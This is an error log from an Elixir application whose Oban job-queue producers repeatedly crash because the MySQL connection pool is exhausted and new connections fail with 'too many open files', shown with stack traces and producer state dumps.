State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:40:06.245034Z], limit: 5, uuid: "5fba0fc8-b52f-4959-b49d-50ca7a63fa1a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:06.245040Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131215>, refresh_timer: #Reference<0.2525715032.1077411843.257856>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:40:06.245252Z], limit: 20, uuid: "213d8126-e2bd-4d15-81ea-8cbcd7c73655", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:06.245257Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131214>, refresh_timer: #Reference<0.2525715032.1121189889.131195>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:40:06.245272Z], limit: 5, uuid: "9dea609b-0117-4899-bd1a-0b5e9b038581", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:06.245277Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.22481>, refresh_timer: #Reference<0.2525715032.1077411843.257863>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:40:06.244947Z], limit: 3, uuid: "c2aec39f-1934-40b6-9fab-afd355918ad6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:06.244953Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131216>, refresh_timer: #Reference<0.2525715032.1077411843.257853>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:20.802000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:21.333000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:21.395000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:22.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:22.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:40:19.239795Z], limit: 20, uuid: "e34147b5-b743-495f-b189-1948eecf58a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:19.239801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131617>, refresh_timer: #Reference<0.2525715032.1077411843.257926>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:40:19.239765Z], limit: 5, uuid: "aef06aa0-b48f-4b81-a576-6fa8f36803f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:19.239770Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131619>, refresh_timer: #Reference<0.2525715032.1077411843.257922>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:40:19.239854Z], limit: 5, uuid: "0308e51f-6f20-4f2c-9f3e-996ed62df711", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:19.239860Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131618>, refresh_timer: #Reference<0.2525715032.1077411843.257928>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:31.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:40:19.239418Z], limit: 50, uuid: "913ed0c3-02ce-44f0-8b94-12a7d791f457", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:19.239428Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131615>, refresh_timer: #Reference<0.2525715032.1099431938.25162>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:31.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:40:19.239433Z], limit: 10, uuid: "bb55d08c-e110-4b2d-9bac-a5a984a6f321", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:19.239439Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.131614>, refresh_timer: #Reference<0.2525715032.1099431938.25163>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:31.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
